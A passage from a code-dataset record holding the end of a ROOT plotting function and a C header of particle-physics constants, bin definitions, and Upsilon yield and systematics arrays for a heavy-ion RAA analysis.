latexCI;\n\tlatexCI.SetNDC();\n\tlatexCI.SetTextSize(0.035);\n\tlatexCI.DrawLatex(0.5,1.-0.05*2,Form(\"R_{#frac{3S}{1S}} %d % C.I.\",ci));\n\tlatexCI.DrawLatex(0.5,1.-0.05*3,Form(\"Upper limit: %f\",interval->UpperLimit(*fnll)));\n\tTString intrvlName = fnll->GetTitle();\n\t\t// print out the iterval on the Parameter of Interest\n\tcout <<endl<< CI <<\"\\% interval on \" <<fnll->GetName()<<\" is : [\"<<\n\t\tinterval->LowerLimit(*fnll) << \", \"<<\n\t\tinterval->UpperLimit(*fnll) << \"] \"<<endl;\n\tpair<double, double> CnfdncIntrvl;\n\tCnfdncIntrvl.first = interval->LowerLimit(*fnll);\n\tCnfdncIntrvl.second = interval->UpperLimit(*fnll);\n\tc4.SaveAs(\"pdfOutput/1806/HIMBProfileTest.pdf\");\n\n\treturn CnfdncIntrvl;\n}\n\n" }, { "alpha_fraction": 0.32821157574653625, "alphanum_fraction": 0.6560713648796082, "avg_line_length": 57.828529357910156, "blob_id": "6e1ece36128f11b0425377561e89b59f55635d0e", "content_id": "f14540fbce190122518a740bacffdd29f1a898c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 79603, "license_type": "no_license", "max_line_length": 166, "num_lines": 1353, "path": "/plotting_paper/data_raa2015.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#define L_pp_invNb 5400\nfloat L_pp_invNbe =199.8;\nfloat N_MB_uncorr= 1.126653312\t;\n\n#define T_AA_b 5666\nfloat T_AA_mb =5.666;\nfloat T_AA_e =0.0564; //// relative! 0.323/5.666 check CentralityWishlist TWiki tables.\nfloat L_pp_e =0.037 ;///relative ! \nfloat N_MB_e =0.030 ;/// relative. comes from an old paper (10-006 or even earlier...)\n/* #define tracking_pp 0.034 */\n/* #define tracking_aa 0.10 */\nfloat tracking_pp =0.006; // relative. 2 times the syst per muon.\nfloat tracking_aa =0.012; \n\nfloat RapBinWidth =4.8;\nfloat PtBinWidth = 20;\n#define nPtBins_2013 5\n#define nPtBins_2014 6\n#define nPtBins_2010 3\n#define nPtBins2015 6\n#define nCentBins2015 8\n#define nRapBins2015 6\n#define nRapBins_2013 5\n#define nRapBins_2010 2\n#define nRapBins_2014 6\n#define nCentBins_2014 8\n#define nCentBins_2010 2\n#define nCentBins2S 4\n#define nPtBins2S 3\n#define nRapBins2S 2\n#define nRapBins_pPb 9\n\n#define nfitvars 6\n#define nbkgdvars 2\nfloat N_MB_corr= N_MB_uncorr/0.97;\nfloat pt15 [6] = {1.25, 3.75, 6.5, 10., 16.,30};\nfloat pt15e[6] = {1.25, 1.25, 1.5, 2., 4.,10};\nfloat ptShift [nPtBins_2013] = {1.6, 4.1, 6.9, 10.4, 16.4};\nfloat pt [6] = {1.25, 3.75, 6.5, 10., 16.};\n//float pte[6] = {1.25, 1.25, 1.5, 2., 4.};\nfloat pte[6] = {.5, .5, .5, .5, .5};\nfloat pt2010 [3] = {2.5,8.5,16.};//{2.7,8.7,16.2};\nfloat pt2010e[3] = {.5,.5,.5};\n//float pt2010e[3] = {2.5,3.5,4};\nfloat deltaPt[nPtBins_2013] = {2.5,2.5,3,4,8};\n\nfloat massRatio = 10.02/9.460;\nfloat rap2010[2]={0.6,1.8};//{0.63,1.83};\n\nfloat rap2010e[2]={0.05,0.05};\n\n//float rap2010e[2]={0.6,0.6};\n\nfloat deltaPt_2010[nPtBins_2010] = {5.,7.,8.};\nfloat deltaRap2010[nRapBins_2010] = {2.4,2.4};\nfloat deltaRapEven[nRapBins_2014] = {0.8,0.8,0.8,0.8,0.8,0.8};\n\nfloat cent2010[5]={308.6,64.24,261.3,355.7};//0-20,20-100,10-20,0-10\nfloat nPart1[nCentBins_2014] ={8.75,42.02, 86.3, 130.1, 187.3, 261.4, 330.3, 381.2}; // with 70-100, 50-70, 40-50, 30-40, 20-30, 10-20, 5-10, 0-5\nfloat nPart2[nCentBins2S] ={22.059352,108.1915,224.30475,355.7875};\n\nfloat nPart2014[nCentBins_2014]={8.75, 42.02, 86.23, 130.06, 187.35, 261.49, 329.48, 381.41}; //from 2012_246_v5\n//float nPart2015[nCentBins_2014+1] ={8.75, 42.02, 86.23, 130.06, 187.35, 261.49, 329.48, 368, 393}; //from 2012_246_v5\nfloat nPart2014e[nCentBins_2014] ={1.13,3.48,4.35,4.60,4.44,3.96,3.53,2.21}; //from 2012_246_v5\n \nstring binsPt[nPtBins2015]={\"\\\\pt [{\\\\rm GeV}/c] $<$ 2.5\",\n\t\t\t \"2.5 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 5\",\n\t\t\t \"5 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 8\",\n\t\t\t \"8 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 12\",\n\t\t\t \"12 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 20\",\n\t\t\t \"20 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 40\"};\nstring binsPt2010[nPtBins2S]={\"\\\\pt [{\\\\rm GeV}/c] $<$ 5\",\n\t\t\t\t \"5 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 12\",\n\t\t\t\t \"12 $<$ \\\\pt [{\\\\rm GeV}/c] $<$ 40\"};\n \nstring binsRap[nRapBins2015]={\"$|y| <$ 0.4\",\n\t\t\t \"0.4 $< |y| <$ 0.8 \",\n\t\t\t \"0.8 $< |y| <$ 1.2 \",\n\t\t\t \"1.2 $< |y| <$ 1.6 \",\n\t\t\t \"1.6 $< |y| <$ 2 \",\n\t\t\t \"2 $< |y| <$ 2.4 \"};\nstring binsRap2010[nRapBins2S]={\"$|y| <$ 1.2 \",\n\t\t\t\t \"1.2 $< |y| <$ 2.4 \"};\nstring binsCent[nCentBins2015]={\"70-100\",\"50-70\",\"40-50\",\"30-40\",\"20-30\",\"10-20\",\"5-10\",\"0-5\"};\n//string binsCent4[nCentBins2S]={\"50-100\",\"30-50\",\"10-30\",\"0-10\"};\nstring binsCent4[7]={\"50-100\",\"40-50\",\"30-40\",\"20-30\",\"10-20\",\"5-10\",\"0-5\"};\nstring bins2Bin[2]={\"20-100\",\"0-20\"};\nstring bins4Bin[4]={\"50-100\",\"30-50\",\"10-30\",\"0-10\"};\nfloat centErr[7]={6,6,6,6,6,6,6};\nfloat cent[7] ={22.05, 86.3, 130.0, 187.1, 261.4, 330.4, 381.3}; // with 40-50 and 50-100 //and the 5-10 bin was 329.5, which is inconsistent with a few lines below.\nfloat centErr2014[nCentBins_2014]={6,6,6,6,6,6,6,6};\nfloat centnoErr[nCentBins_2014+1]={0,0,0,0,0,0,0,0,0};\nfloat rap2014[6] = {0.2 , 0.6, 1.0, 1.4, 1.8,2.2}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\nfloat rap2014Shift[6] = {0.3 , 0.7, 1.1, 1.5, 1.9,2.3}; // for thxe moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\n//float rap2014e[6] = {0.2,0.2,0.2,0.2,0.2,0.2}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\n\nfloat rap2014e[6] = {0.05,0.05,0.05,0.05,0.05,0.05}; // for the moment with bins of ∆y =0.8 except the last one which is 1.6-2.4\nfloat taa[7] = {0.486,2.75,5.09,8.80,14.48,20.48,25.91}; // taa of 40-50, 50-100\nfloat taae[7]= {0.073,0.30 , 0.43,0.58 ,0.76 , 0.94, 1.06};\nfloat taaDD[nCentBins_2010]={2.37,18.83171875};\nfloat taa2014[nCentBins_2014] = {0.125,0.982,2.746,5.095,8.800,14.481,20.476,25.914}; //taa of 50-70, 70-100\n//float taa2015[nCentBins_2014+1] = {0.13,0.985,2.75,5.089,8.80,14.48,20.48,24.5,27.3}; //taa of 0-2.5, 2.5-5,... 50-70, 70-100\nfloat taa2014e[nCentBins_2014] = {0.023,0.143,0.299,0.434,0.583,0.757,0.945,1.057};\n\nfloat mb_percentage2014[nCentBins_2014] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentage2015[nCentBins_2014+1] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.025,0.025};\nfloat mb_percentage[7] = {0.5,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentageDD[2]={0.8,0.2};\n//////\nfloat taa1S[nCentBins_2014]={0.13,0.985,2.75,5.089,8.80,14.48,20.48,25.91}; //taa of 70-100, 50-70, 40-50, 30-40, 20-30, 10-20, 5-10, 0-5\nfloat taa2S[nCentBins2S]={0.468,3.921,11.641,23.195}; // taa of 50-100, 30-50, 10-30, 0-10.\nfloat taa2Se[nCentBins2S]={0.070,0.366,0.665,0.993}; // taa of 50-100, 30-50, 10-30, 0-10.\nfloat mb_percentage1S[nCentBins_2014] = {0.3,0.2,0.1,0.1,0.1,0.1,0.05,0.05};\nfloat mb_percentage2S[nCentBins2S] = {0.5,0.2,0.2,0.1};\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* pp */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* 1S,2S,3S loose TOTAL YIELDS */\n/* ------------------------------------------- */\nfloat N1S_pp_tot3p5 = 5014;\nfloat N1S_pp_tot3p5e = 87;\n// from fitting.\nfloat N1S_pp_tot3p5s=0.0328;\nfloat N2S_pp_tot3p5 = 1580;\nfloat N2S_pp_tot3p5e = 59;\nfloat N3S_pp_tot3p5 = 770;\nfloat N3S_pp_tot3p5e = 49;\n/* 1s2s3s tight TOTAL YIELDS */\n/* float N1S_pp_tot4 = 3511; */\n/* float N1S_pp_tot4e = 71; */\n/* float N2S_pp_tot4 = 1208; */\n/* float N2S_pp_tot4e = 49; */\n/* float N3S_pp_tot4 = 619; */\n/* float N3S_pp_tot4e =41; */\n\nfloat N1S_pp_tot4 = 3528;\nfloat N1S_pp_tot4e = 72;\nfloat N2S_pp_tot4 = 1214;\nfloat N2S_pp_tot4e = 51;\nfloat N3S_pp_tot4 = 618;\nfloat N3S_pp_tot4e =44;\n///more\nfloat N2S_pp_tot4s=0.0209;\nfloat N3S_pp_tot4s=0.03;\n/* ------------------------------------------- */\n/* pT */\n/* ------------------------------------------- */\n//yields\nfloat N1S_pp_pt3p5[nPtBins_2014] = {1572.28,1440.07,992.326,612.793,338.412,55.6856};\nfloat N1S_pp_pt3p5e[nPtBins_2014] = {53.2972,46.4318,33.5469,28.211,20.3223,8.69662};\nfloat N2S_pp_pt3p5[nPtBins_2014] = {412.999,497.748,330.417,226.209,129.059,23.4591};\nfloat N2S_pp_pt3p5e[nPtBins_2014] = {34.4374,32.6445,21.9493,19.3717,13.7052,5.95562};\nfloat N3S_pp_pt3p5[nPtBins_2014] = {189.666,265.604,150.147,108.087,76.0109,16.7739};\nfloat N3S_pp_pt3p5e[nPtBins_2014] = {28.3509,27.8029,17.4917,15.3469,11.2657,5.08771};\n//misc.\nfloat Sigma1SFixed_pp_pt3p5[nPtBins_2014] = {0.0657715,0.0651465,0.0635358,0.0638514,0.0658883,0.0576341};\nfloat Sigma1SFree_pp_pt3p5[nPtBins_2014] = {0.0777315,0.0688134,0.068241,0.0722102,0.0695429,0.0659652};\nfloat dM1S_pp_pt3p5[nPtBins_2014] = {-0.0132216,-0.0115218,-0.0144488,-0.012444,-0.000414656,-0.0150734};\nfloat MassErr1S_pp_pt3p5[nPtBins_2014] = {0.00302903,0.0028209,0.00288863,0.00417897,0.0050552,0.0124403};\nfloat N1S_ppSignif_pt[nPtBins_2014] = {29.5003,31.0147,29.5803,21.7218,16.6522,6.40313};\n//systematics.\nfloat N1S_pp_pt3p5s_2p5[nfitvars] = {1572.28,1503,1514,1717.16,1718.91,1688.36};\nfloat N1S_pp_pt3p5s_5[nfitvars] = {1440.07,1374.54,1384.48,1468.58,1455.24,1467.65};\nfloat N1S_pp_pt3p5s_8[nfitvars] = {992.326,1014.78,1066.19,1013.33,1013.83,1008.14};\nfloat N1S_pp_pt3p5s_12[nfitvars] = {612.793,624.069,611.245,630.537,629.392,627.079};\nfloat N1S_pp_pt3p5s_20[nfitvars] = {338.412,338.653,341.578,341.94,340.284,341.826};\nfloat N1S_pp_pt3p5s_40[nfitvars] = {55.6856,58.9917,60.6328,58.5708,60.121,56.5051};\nfloat N1B_pp_pt3p5s_2p5[nbkgdvars] = {1570.19,1611.77};\nfloat N1B_pp_pt3p5s_5[nbkgdvars] = {1437.28,1498.7};\nfloat N1B_pp_pt3p5s_8[nbkgdvars] = {987.619,983.463};\nfloat N1B_pp_pt3p5s_12[nbkgdvars] = {612.943,617.179};\nfloat N1B_pp_pt3p5s_20[nbkgdvars] = {338.397,338.405}; // {338.397,338.405};\nfloat N1B_pp_pt3p5s_40[nbkgdvars] = {55.6887,56.4811};\n//more.\nfloat N1S_pp_pt3p5Large[nPtBins_2010] = {2910.91,1587.86,336.5};\nfloat N1S_pp_pt3p5Largee[nPtBins_2010] = {68.0454,46.7507,20.1515};\n\n/* ------------------------------------------- */\n/* pT4 */\n/* ------------------------------------------- */\n // from fitting.\nfloat N1S_pp_tot4s=0.0160;\n\n//yields\nfloat N1S_pp_pt4[nPtBins_2014] = {967.076,801.956,722.227,524.345,307.016,51.733};\nfloat N1S_pp_pt4e[nPtBins_2014] = {40.405,34.7426,30.7759,25.761,19.2917,8.43246};\nfloat N2S_pp_pt4_2013[nPtBins_2014] = {299.481,253.659,246.08,197.06,118.733,22.1581};\nfloat N2S_pp_pt4_2013e[nPtBins_2014] = {28.8896,23.993,20.3471,17.631,13.0047,5.85791};\nfloat N3S_pp_pt4_2013[nPtBins_2014] = {130.857,165.947,113.379,90.3393,69.2384,16.8328};\nfloat N3S_pp_pt4_2013e[nPtBins_2014] = {24.1252,21.8497,16.246,13.6638,10.6224,5.10678};\n//misc.\nfloat Sigma1SFixed_pp_pt4[nPtBins_2014] = {0.0621682,0.0643807,0.064376,0.0634238,0.0653103,0.0581102};\nfloat Sigma1SFree_pp_pt4[nPtBins_2014] = {0.0648966,0.0648226,0.0716781,0.0742675,0.0664395,0.0670607};\nfloat dM1S_pp_pt4[nPtBins_2014] = {-0.0122481,-0.0129691,-0.015045,-0.0127823,-0.00127519,-0.0144875};\nfloat MassErr1S_pp_pt4[nPtBins_2014] = {0.00356131,0.00365256,0.00370633,0.00442942,0.00514867,0.0127577};\nfloat N1S_ppSignif_pt4[nPtBins_2014] = {23.9346,23.0828,23.4673,20.3542,15.9144,6.13498};\n///1S systematics\nfloat N1S_pp_pt4s_2p5[nfitvars] = {967.076,925.014,939.307,985.641,963.681,985.252};\nfloat N1S_pp_pt4s_5[nfitvars] = {801.956,766.787,772.959,804.004,797.791,808.687};\nfloat N1S_pp_pt4s_8[nfitvars] = {722.227,750.712,742.475,745.214,745.665,740.642};\nfloat N1S_pp_pt4s_12[nfitvars] = {524.345,539.766,527.976,542.903,542.416,538.966};\nfloat N1S_pp_pt4s_20[nfitvars] = {307.016,305.411,305.093,307.989,306.175,307.66};\nfloat N1S_pp_pt4s_40[nfitvars] = {51.733,55.3958,56.3865,54.7651,56.8332,52.6591};\n\nfloat N1B_pp_pt4s_2p5[nbkgdvars] = {966.184,1003.09};\nfloat N1B_pp_pt4s_5[nbkgdvars] = {801.84,811.765};\nfloat N1B_pp_pt4s_8[nbkgdvars] = {728.955,731.011};\nfloat N1B_pp_pt4s_12[nbkgdvars] = {524.969,525.264};\nfloat N1B_pp_pt4s_20[nbkgdvars] = {306.683,306.058};\nfloat N1B_pp_pt4s_40[nbkgdvars] = {53.625,51.3628};\n//2S systematic\nfloat N2S_pp_pt4s_2p5[nfitvars] = {299.481,285.167,290.297,308.478,298.025,307.944};\nfloat N2S_pp_pt4s_5[nfitvars] = {253.659,240.143,242.571,254.516,251.973,256.565};\nfloat N2S_pp_pt4s_8[nfitvars] = {246.08,259.18,255.399,255.219,253.714,253.398};\nfloat N2S_pp_pt4s_12[nfitvars] = {197.06,204.618,199.021,204.788,202.664,203.947};\nfloat N2S_pp_pt4s_20[nfitvars] = {118.733,118.098,117.772,119.023,118.552,118.906};\nfloat N2S_pp_pt4s_40[nfitvars] = {22.1581,24.5352,25.1789,23.0142,23.7023,22.4007};\n\nfloat N2B_pp_pt4s_2p5[nbkgdvars] ={298.337,331.234};\nfloat N2B_pp_pt4s_5[nbkgdvars] = {253.598,261.386};\nfloat N2B_pp_pt4s_8[nbkgdvars] = {242.459,249.863};\nfloat N2B_pp_pt4s_12[nbkgdvars] = {197.324,197.94};\nfloat N2B_pp_pt4s_20[nbkgdvars] = {118.29,117.695};\nfloat N2B_pp_pt4s_40[nbkgdvars] = {23.2067,21.9707};\n//3S systematics.\nfloat N3S_pp_pt4s_2p5[nfitvars] = {130.857,121.57,125.258,136.023,130.142,135.79};\nfloat N3S_pp_pt4s_5[nfitvars] = {165.947,154.872,156.919,166.536,165.085,167.687};\nfloat N3S_pp_pt4s_8[nfitvars] = {113.379,122.587,119.106,117.862,115.657,116.694};\nfloat N3S_pp_pt4s_12[nfitvars] = {90.3393,96.2695,91.577,93.4984,91.4455,93.3789};\nfloat N3S_pp_pt4s_20[nfitvars] = {69.2384,68.4687,68.4538,69.4091,69.1698,69.34};\nfloat N3S_pp_pt4s_40[nfitvars] = {16.8328,19.127,19.5848,17.2849,17.3378,16.9902};\n\nfloat N3B_pp_pt4s_2p5[nbkgdvars] ={130.222,149.699};\nfloat N3B_pp_pt4s_5[nbkgdvars] = {165.938,171.081};\nfloat N3B_pp_pt4s_8[nbkgdvars] = {113.7,115.271};\nfloat N3B_pp_pt4s_12[nbkgdvars] = {90.5161,91.1822};\nfloat N3B_pp_pt4s_20[nbkgdvars] = {68.7015,68.0293};\nfloat N3B_pp_pt4s_40[nbkgdvars] = {17.4342,16.7705};\n//yields in LARGE bins\nfloat N1S_pp_pt4Large[nPtBins_2014] = {1815.31,1252.94,307.016};\nfloat N1S_pp_pt4Largee[nPtBins_2014] = {53.4371,40.4498,19.2917};\nfloat N2S_pp_pt4_2013Large[nPtBins_2014] = {561.816,445.58,118.733};\nfloat N2S_pp_pt4_2013Largee[nPtBins_2014] = {37.3096,27.3261,13.0047};\nfloat N3S_pp_pt4Large[nPtBins_2014] = {291.071,205.639,69.2384};\nfloat N3S_pp_pt4Largee[nPtBins_2014] = {32.5092,21.6674,10.6224};\n//misc.\nfloat Sigma1SFixed_pp_pt4Large[nPtBins_2014] = {0.0619747,0.0639804,0.0653103};\nfloat Sigma1SFree_pp_pt4Large[nPtBins_2014] = {0.0660476,0.073671,0.0664395};\nfloat dM1S_pp_pt4Large[nPtBins_2014] = {-0.0131041,-0.0141875,-0.00127519};\nfloat MassErr1S_pp_pt4Large[nPtBins_2014] = {0.0025199,0.00283435,0.00514867};\nfloat N1S_ppSignif_pt4Large[nPtBins_2014] = {33.9709,30.9751,15.9144};\n//systematics.\nfloat N1S_pp_pt4Larges_5[nfitvars] = {1815.31,1786.71,1758.78,1864.13,1855.15,1863.3};\nfloat N1S_pp_pt4Larges_12[nfitvars] = {1252.94,1298.77,1290.79,1304.05,1304.53,1294.3};\nfloat N1S_pp_pt4Larges_20[nfitvars] = {307.016,305.411,305.093,307.989,306.175,307.66};\nfloat N1B_pp_pt4Larges_5[nbkgdvars] = {1885.52,1804.3};\nfloat N1B_pp_pt4Larges_12[nbkgdvars] = {1253.22,1256};\nfloat N1B_pp_pt4Larges_20[nbkgdvars] = {306.683,306.058};\n\nfloat N2S_pp_pt4Larges_5[nfitvars] = {561.816,550.472,539.35,583.442,577.834,582.982};\nfloat N2S_pp_pt4Larges_12[nfitvars] = {445.58,468.876,464.988,468.763,464.449,465.366};\nfloat N2S_pp_pt4Larges_20[nfitvars] = {118.733,118.098,117.772,119.023,118.552,118.906};\nfloat N2B_pp_pt4Larges_5[nbkgdvars] = {572.742,551.631};\nfloat N2B_pp_pt4Larges_12[nbkgdvars] = {445.828,447.347};\nfloat N2B_pp_pt4Larges_20[nbkgdvars] = {118.29,117.695};\n\nfloat N3S_pp_pt4Larges_5[nfitvars] = {291.071,283.473,276.443,303.336,298.002,303.115};\nfloat N3S_pp_pt4Larges_12[nfitvars] = {205.639,224.195,218.427,219.163,214.063,216.928};\nfloat N3S_pp_pt4Larges_20[nfitvars] = {69.2384,68.4687,68.4538,69.4091,69.1698,69.34};\nfloat N3B_pp_pt4Larges_5[nbkgdvars] = {328.256,284.495};\nfloat N3B_pp_pt4Larges_12[nbkgdvars] = {205.917,206.851};\nfloat N3B_pp_pt4Larges_20[nbkgdvars] = {68.7015,68.0293};\n/* ------------------------------------------- */\n/* rap */\n/* ------------------------------------------- */\n//yields.\nfloat N1S_pp_rap3p5_2014[nRapBins_2014] = {1092.5,1128.57,995.542,918.941,645.336,251.364};\nfloat N1S_pp_rap3p5_2014e[nRapBins_2014] = {37.8835,39.7245,38.7406,38.4787,33.6877,19.9065};\nfloat N2S_pp_rap3p5_2014[nRapBins_2014] = {354.108,344.231,314.176,319.549,214.78,49.3066};\nfloat N2S_pp_rap3p5_2014e[nRapBins_2014] = {25.3405,25.6201,26.5923,27.7139,24.2527,12.8926};\nfloat N3S_pp_rap3p5_2014[nRapBins_2014] = {164.683,170.879,169.927,122.821,85.7292,56.1713};\nfloat N3S_pp_rap3p5_2014e[nRapBins_2014] = {20.271,21.4023,23.1257,22.8193,19.8861,12.4869};\n//misc.\nfloat Sigma1SFixed_pp_rap3p5[nRapBins_2014] = {0.0596087,0.0614638,0.0781951,0.0863752,0.125475,0.128811};\nfloat Sigma1S_pt3p5_rap[nRapBins_2014]={ 0.0527233, 0.0599054, 0.0773693, 0.104566, 0.125792, 0.133793};//MC\nfloat Sigma1SFree_pp_rap3p5[nRapBins_2014] = {0.0634828,0.0663536,0.0810865,0.0948662,0.145678,0.119366};\nfloat dM1S_pp_rap3p5[nRapBins_2014] = {-0.0100056,-0.0106375,-0.0119218,-0.0157293,-0.0279727,-0.0242207};\nfloat MassErr1S_pp_rap3p5[nRapBins_2014] = {0.00212303,0.00256095,0.00364298,0.00490568,0.007465,0.013407};\nfloat N1S_ppSignif_rap3p5[nRapBins_2014] = {28.8383,28.41,25.6976,23.8818,19.1564,12.6272};\n//systematics.\nfloat N1S_pp_rap3p5s_0p4[nfitvars] = {1092.5,1147.32,1115.91,1112.04,1107.18,1092.56};\nfloat N1S_pp_rap3p5s_0p8[nfitvars] = {1128.57,1145.9,1153.83,1158.07,1168.04,1159.09};\nfloat N1S_pp_rap3p5s_1p2[nfitvars] = {995.542,1021.59,1038.82,1008.55,1000.56,1007.17};\nfloat N1S_pp_rap3p5s_1p6[nfitvars] = {918.941,934.622,886.425,955.587,974.04,943.41};\nfloat N1S_pp_rap3p5s_2p0[nfitvars] = {645.336,625.537,632.476,693.879,695.068,645.393};\nfloat N1S_pp_rap3p5s_2p4[nfitvars] = {251.364,247.976,257.355,244.761,241.562,243.88};\nfloat N1B_pp_rap3p5s_0p4[nfitvars] = {1080.73,1077.41};\nfloat N1B_pp_rap3p5s_0p8[nfitvars] = {1119.78,1130.05};\nfloat N1B_pp_rap3p5s_1p2[nfitvars] = {966.039,965.755};\nfloat N1B_pp_rap3p5s_1p6[nfitvars] = {901.186,920.154};\nfloat N1B_pp_rap3p5s_2p0[nfitvars] = {637.555,643.355};\nfloat N1B_pp_rap3p5s_2p4[nfitvars] = {270.787,252.685};\n//more !\nfloat Sigma2S_pt3p5_rap[6]={ 0.0538801, 0.0653175, 0.0776217, 0.115183, 0.130717, 0.15466};\nfloat Sigma2S_pt3p5_rapLarge[2]={0.0611883,0.127322};\nfloat Sigma2S_pt3p5_mb= 0.0692664;\n\nfloat Sigma1S_pt3p5_rapLarge[2]={0.0595051,0.119058};\nfloat Sigma1S_pt3p5_mb=0.0627095;\n\nfloat Sigma2S_pt4_rap[6]={0.0512988,0.0598307,0.0856582,0.105473,0.13179,0.145594};\nfloat Sigma2S_pt4_rapLarge[2]={0.060022,0.128939};\nfloat Sigma2S_pt4_mb= 0.0689469;\n\nfloat Sigma1S_pt4_rap[6]={ 0.045297 ,0.0614344 ,0.0719728 ,0.10143 ,0.126482 ,0.138467};\nfloat Sigma1S_pt4_rapLarge[2]={0.0552385,0.118975};\nfloat Sigma1S_pt4_mb=0.0623872;\n\n/* ------------------------------------------- */\n/* rap4 */\n/* ------------------------------------------- */\n///yields.\nfloat N1S_pp_rap4_2014[nRapBins_2014] = {782.23,802.491,699.794,614.806,437.486,176.401};\nfloat N1S_pp_rap4_2014e[nRapBins_2014] = {31.2266,32.6484,31.6465,30.3664,26.5538,16.3107};\nfloat N2S_pp_rap4_2014[nRapBins_2014] = {264.55,262.829,240.499,231.739,180.187,43.742};\nfloat N2S_pp_rap4_2014e[nRapBins_2014] = {20.8445,21.3374,21.6577,22.3763,19.9133,11.4295};\nfloat N3S_pp_rap4_2014[nRapBins_2014] = {132.828,129.687,140.47,102.722,77.4439,45.8224};\nfloat N3S_pp_rap4_2014e[nRapBins_2014] = {16.786,17.5355,18.7523,18.7354,16.117,11.2161};\n//misc.\nfloat Sigma1SFixed_pp_rap4[nRapBins_2014] = {0.058396,0.061831,0.0785538,0.0873738,0.125342,0.132376};\nfloat Sigma1SFree_pp_rap4[nRapBins_2014] = {0.0638302,0.0693133,0.0853293,0.0966755,0.151849,0.133359};\nfloat dM1S_pp_rap4[nRapBins_2014] = {-0.0103058,-0.0106436,-0.0114406,-0.0153713,-0.0247878,-0.0269885};\nfloat MassErr1S_pp_rap4[nRapBins_2014] = {0.00234122,0.00290341,0.00417545,0.0057725,0.0085887,0.0158849};\nfloat N1S_ppSignif_rap4[nRapBins_2014] = {25.0501,24.5798,22.1129,20.2462,16.4755,10.8151};\n///systematics.\nfloat N1S_pp_rap4s_0p4[nfitvars] = {782.23,791.331,768.114,800.862,806.702,782.548};\nfloat N1S_pp_rap4s_0p8[nfitvars] = {802.491,826.824,801.51,832.931,851.088,831.352};\nfloat N1S_pp_rap4s_1p2[nfitvars] = {699.794,722.315,734.578,720.927,722.009,720.942};\nfloat N1S_pp_rap4s_1p6[nfitvars] = {614.806,611.519,599.937,639.456,650.434,632.723};\nfloat N1S_pp_rap4s_2p0[nfitvars] = {437.486,454.616,431.229,475.955,479.004,437.34};\nfloat N1S_pp_rap4s_2p4[nfitvars] = {176.401,171.655,180.384,176.903,176.532,177.016};\nfloat N1B_pp_rap4s_0p4[nbkgdvars] = {771.599,777.605};\nfloat N1B_pp_rap4s_0p8[nbkgdvars] = {802.583,819.781};\nfloat N1B_pp_rap4s_1p2[nbkgdvars] = {668.54,725.711};\nfloat N1B_pp_rap4s_1p6[nbkgdvars] = {618.827,582.859};\nfloat N1B_pp_rap4s_2p0[nbkgdvars] = {437.871,382.089};\nfloat N1B_pp_rap4s_2p4[nbkgdvars] = {176.464,174.99};\n\nfloat N2S_pp_rap4s_0p4[nfitvars] = {264.55,269.149,257.818,276.679,278.327,265.797};\nfloat N2S_pp_rap4s_0p8[nfitvars] = {262.829,273.691,262.38,275.834,280.118,274.266};\nfloat N2S_pp_rap4s_1p2[nfitvars] = {240.499,250.657,256.287,249.234,248.889,248.693};\nfloat N2S_pp_rap4s_1p6[nfitvars] = {231.739,229.78,222.941,244.43,247.04,240.781};\nfloat N2S_pp_rap4s_2p0[nfitvars] = {180.187,193.069,175.966,196.342,195.777,183.446};\nfloat N2S_pp_rap4s_2p4[nfitvars] = {43.742,42.1703,45.0893,43.798,43.727,43.7081};\nfloat N2B_pp_rap4s_0p4[nbkgdvars] = {252.117,256.357};\nfloat N2B_pp_rap4s_0p8[nbkgdvars] = {262.837,269.042};\nfloat N2B_pp_rap4s_1p2[nbkgdvars] = {217.481,258.927};\n\nfloat N2B_pp_rap4s_1p6[nbkgdvars] = {230.016,214.243};\nfloat N2B_pp_rap4s_2p0[nbkgdvars] = {180.656,158.104};\nfloat N2B_pp_rap4s_2p4[nbkgdvars] = {43.7351,42.9345};\n\nfloat N3S_pp_rap4s_0p4[nfitvars] = {132.828,136.015,128.241,140.925,141.839,133.968};\nfloat N3S_pp_rap4s_0p8[nfitvars] = {129.687,138.295,129.38,140.393,140.146,138.597};\nfloat N3S_pp_rap4s_1p2[nfitvars] = {140.47,148.607,151.712,145.317,144.174,144.651};\nfloat N3S_pp_rap4s_1p6[nfitvars] = {102.722,101.418,96.8322,107.871,108.841,106.541};\nfloat N3S_pp_rap4s_2p0[nfitvars] = {77.4439,86.2675,74.3712,79.7068,79.6769,77.3836};\nfloat N3S_pp_rap4s_2p4[nfitvars] = {45.8224,43.9244,47.2746,45.8833,45.8811,45.891};\nfloat N3B_pp_rap4s_0p4[nbkgdvars] = {124.293,125.137};\nfloat N3B_pp_rap4s_0p8[nbkgdvars] = {129.717,128.145};\nfloat N3B_pp_rap4s_1p2[nbkgdvars] = {127.27,154.577};\nfloat N3B_pp_rap4s_1p6[nbkgdvars] = {104.78,93.1205};\nfloat N3B_pp_rap4s_2p0[nbkgdvars] = {78.0999,76.3731};\nfloat N3B_pp_rap4s_2p4[nbkgdvars] = {45.7994,45.3594};\n\n\n\n///yields in LARGE bins.\nfloat N1S_pp_rap4_2014Large[nRapBins_2014] = {2295.59,1213.29};\nfloat N1S_pp_rap4_2014Largee[nRapBins_2014] = {55.6207,43.0243};\nfloat N2S_pp_rap4_2014Large[nRapBins_2014] = {769.055,450.75};\nfloat N2S_pp_rap4_2014Largee[nRapBins_2014] = {37.0785,31.4276};\nfloat N3S_pp_rap4_2014Large[nRapBins_2014] = {397.339,221.937};\nfloat N3S_pp_rap4_2014Largee[nRapBins_2014] = {30.9002,26.4746};\n//misc.in LARGE bins\nfloat Sigma1SFixed_pp_rap4Large[nRapBins_2014] = {0.0565126,0.119036};\nfloat 